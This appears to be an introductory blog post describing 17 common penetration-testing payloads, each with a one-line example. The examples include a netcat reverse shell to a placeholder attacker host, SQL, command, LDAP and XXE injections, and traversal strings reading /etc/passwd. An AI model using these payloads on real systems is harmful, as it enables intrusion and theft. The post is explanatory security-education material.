17 Potent Network Pentest Payloads

This post lists the 17 payloads found commonly in the wild. I also wrote a post on 17 of the most common vulnerabilities – here.

PayloadDescriptionUsage ExampleURL
Reverse ShellEstablishes a connection from the target to the attacker, allowing remote control of the system.nc -e /bin/sh attacker_ip 1234Reverse Shell Payload
Command InjectionExecutes arbitrary commands on the target system through vulnerabilities in input fields.; ls -laCommand Injection
SQL InjectionManipulates a database by injecting malicious SQL code through user input.' OR 1=1 --SQL Injection
Cross-Site Scripting (XSS)Injects malicious scripts into web pages, often targeting other users accessing the same page.<script>alert('XSS')</script>Cross-Site Scripting (XSS)
File InclusionExploits vulnerabilities that allow the inclusion of files on the server.../../etc/passwdFile Inclusion
Cross-Site Request ForgeryInitiates unauthorized actions on behalf of a user without their consent.Utilizes a crafted HTML page with malicious requests.Cross-Site Request Forgery (CSRF)
Malicious File UploadExploits insecure file upload functionality, allowing the attacker to upload and execute malicious files.Uploads a web shell disguised as an image file.Malicious File Upload
Buffer OverflowOverflows a program’s buffer to execute malicious code, often exploiting poorly validated input.Crafted input leading to a buffer overflow.Buffer Overflow
Directory TraversalExploits vulnerabilities to navigate through directories, potentially gaining unauthorized access.../../../../etc/passwdDirectory Traversal
LDAP InjectionManipulates LDAP queries to gain unauthorized access or extract information from a directory service.*)(uid=*))(|(uid=*LDAP Injection
XML External Entity (XXE)Exploits vulnerable XML processors to disclose internal files or execute arbitrary code.<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>XXE (XML External Entity)
Remote Code Execution (RCE)Executes code on a target system from a remote location, allowing complete system compromise.; system('cat /etc/passwd')Remote Code Execution (RCE)
Malicious MacroEmbeds malicious code in document macros, often used in phishing attacks.Macro executing PowerShell commands in a Word document.Malicious Macro Payload
DNS PayloadUtilizes DNS requests to encode and transmit data, bypassing traditional network security measures.Encodes data within DNS queries.DNS Payload
JavaScript PayloadInjects malicious JavaScript code into web pages to perform actions on the user’s behalf.alert('Hello, World!');JavaScript Payload
PowerShell PayloadUses PowerShell scripting language for execution of commands and delivery of payloads.Downloads and executes a malicious PowerShell script.PowerShell Payload
Trojan HorseA seemingly harmless file or program that conceals malicious functionalities.An executable file that, when run, opens a backdoor on the system.Trojan Horse

Network penetration testing (pentest) stands as a linchpin for assessing and fortifying digital defenses. As organizations strive to shield themselves from malicious actors, understanding the intricacies of common payloads used in network pentests becomes paramount. This article will delve into 17 potent network pentest payloads, shedding light on their functionalities, potential applications, and the critical role they play in securing digital environments.

  1. Reverse Shell:

A staple in the arsenal of penetration testers, the reverse shell payload enables remote control of a target system by establishing a connection from the compromised system to the attacker’s machine. During a network pentest, security professionals deploy this payload to simulate real-world scenarios, assessing the vulnerability of systems to unauthorized remote access.

Usage Example:

nc -e /bin/sh attacker_ip 1234

Network pentests often leverage reverse shell payloads to evaluate the effectiveness of intrusion detection systems, firewalls, and overall system security.

  1. Command Injection:

Command injection exploits vulnerabilities in input fields to execute arbitrary commands on the target system. During a network pentest, security analysts simulate this attack vector by injecting malicious commands, aiming to uncover weaknesses in web applications and services that may allow unauthorized command execution.

Usage Example:

; ls -la

Network pentests scrutinize command injection vulnerabilities to mitigate the risk of unauthorized access and code execution, emphasizing the importance of secure input validation.

  1. SQL Injection:

SQL injection maneuvers through user input to manipulate a database by injecting malicious SQL code. In network pentests, this payload is instrumental in identifying and addressing vulnerabilities in web applications that may expose sensitive data to unauthorized access.

Usage Example:

' OR 1=1 --

Security professionals employ SQL injection payloads to fortify databases against unauthorized queries and to ensure the integrity of stored data during network pentests.

  1. Cross-Site Scripting (XSS):

Cross-Site Scripting injects malicious scripts into web pages, potentially affecting other users accessing the same page. Network pentests leverage XSS payloads to evaluate the susceptibility of web applications to script-based attacks, emphasizing the importance of secure coding practices and input validation.

Usage Example:

<script>alert('XSS')</script>

During network pentests, XSS assessments help organizations fortify their web applications against client-side attacks and prevent the compromise of user data.

  1. File Inclusion:

File inclusion exploits vulnerabilities that allow the inclusion of files on the server. Network pentests use this payload to assess the resilience of web applications against unauthorized access to server-side files and directories.

Usage Example:

../../etc/passwd

File inclusion vulnerabilities are scrutinized during network pentests to prevent the exposure of sensitive information and uphold access controls.

  1. Cross-Site Request Forgery (CSRF):

CSRF initiates unauthorized actions on behalf of a user without their consent. Network pentests simulate CSRF attacks to assess the effectiveness of anti-CSRF mechanisms, ensuring that web applications resist malicious requests.

Usage Example:

<!-- Crafted HTML Page -->
<form action="https://example.com/update" method="post">
    <input type="hidden" name="account" value="transfer_funds">
    <input type="submit" value="Click Me">
</form>

Network pentests emphasize the importance of safeguarding web applications against CSRF exploits, protecting users from unintended actions.

  1. Malicious File Upload:

Exploiting insecure file upload functionality, this payload allows attackers to upload and execute malicious files on a target system. Network pentests leverage this payload to evaluate the security of web applications, ensuring that file upload processes are resilient against abuse.

Usage Example:

Uploads a web shell disguised as an image file.

During network pentests, assessing the security of file upload mechanisms is crucial to prevent the execution of malicious code on the server.

  1. Buffer Overflow:

Buffer overflow exploits poorly validated input to overflow a program’s buffer, potentially leading to the execution of malicious code. In network pentests, security professionals use this payload to identify and rectify vulnerabilities in software and applications.

Usage Example:

Crafted input leading to a buffer overflow.

Network pentests scrutinize buffer overflow vulnerabilities to fortify software against exploitation and enhance overall system security.

  1. Directory Traversal:

Directory traversal exploits vulnerabilities to navigate through directories, potentially gaining unauthorized access to sensitive files. Network pentests deploy this payload to assess the robustness of web applications against directory traversal attacks.

Usage Example:

../../../../etc/passwd

During network pentests, identifying and mitigating directory traversal vulnerabilities is essential to prevent unauthorized access to critical system files.

  1. LDAP Injection:

LDAP injection manipulates LDAP queries to gain unauthorized access or extract information from a directory service. Network pentests employ LDAP injection payloads to identify and address vulnerabilities in applications that interact with LDAP directories.

Usage Example:

*)(uid=*))(|(uid=*

Network pentests focus on LDAP injection assessments to fortify authentication mechanisms and prevent unauthorized access to directory services.

  1. XML External Entity (XXE):

XXE exploits vulnerable XML processors to disclose internal files or execute arbitrary code. Network pentests use

this payload to evaluate the security of applications processing XML inputs, ensuring they are resilient against XXE attacks.

Usage Example:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

Network pentests emphasize protecting against XXE vulnerabilities to prevent unauthorized access to sensitive information and code execution.

  1. Remote Code Execution (RCE):

RCE payloads execute code on a target system from a remote location, allowing complete system compromise. Network pentests leverage this payload to identify weaknesses in software, network configurations, or input validation that may lead to unauthorized code execution.

Usage Example:

; system('cat /etc/passwd')

Network pentests focus on identifying and mitigating RCE vulnerabilities to prevent malicious actors from gaining control over systems during an attack.

  1. Malicious Macro:

Malicious macros embed harmful code in document macros, often used in phishing attacks. During network pentests, security professionals deploy this payload to assess the susceptibility of systems to macro-based threats, emphasizing the importance of secure document handling.

Usage Example:

Macro executing PowerShell commands in a Word document.

Network pentests highlight the significance of securing office documents to prevent the execution of malicious macros and subsequent system compromise.

  1. DNS Payload:

DNS payloads utilize DNS requests to encode and transmit data, bypassing traditional network security measures. Network pentests employ this payload to assess the effectiveness of security controls and detect potential data exfiltration channels.

Usage Example:

Encodes data within DNS queries.

During network pentests, identifying and mitigating DNS payload vulnerabilities is crucial to prevent covert data transmission.

  1. JavaScript Payload:

JavaScript payloads inject malicious JavaScript code into web pages to perform actions on the user’s behalf. Network pentests utilize this payload to assess the susceptibility of web applications to client-side attacks and to evaluate the effectiveness of security measures.

Usage Example:

alert('Hello, World!');

Network pentests emphasize securing web applications against JavaScript payloads to prevent unauthorized actions and data manipulation.

  1. PowerShell Payload:

PowerShell payloads use the PowerShell scripting language for execution of commands and delivery of payloads. Network pentests deploy this payload to assess the resilience of systems against PowerShell-based attacks, emphasizing secure configurations and user permissions.

Usage Example:

Downloads and executes a malicious PowerShell script.

During network pentests, securing systems against PowerShell payloads is essential to prevent unauthorized code execution and maintain system integrity.

  1. Trojan Horse:

A Trojan Horse appears as a harmless file or program but conceals malicious functionalities. In network pentests, this payload simulates the deployment of seemingly benign files to assess the ability of security controls to detect and prevent Trojan attacks.

Usage Example:

An executable file that, when run, opens a backdoor on the system.

Network pentests focus on identifying and mitigating Trojan Horse vulnerabilities to prevent unauthorized access and maintain the security of systems.

Conclusion:

Network penetration testing is a crucial aspect of proactive cybersecurity, enabling organizations to identify and address vulnerabilities before they can be exploited by malicious actors. Understanding the diverse array of payloads used in network pentests empowers security professionals to fortify systems, applications, and networks against evolving cyber threats. By integrating these assessments into regular security practices, organizations can create robust defense mechanisms, ensuring the resilience of their digital assets in the face of ever-present cyber risks.


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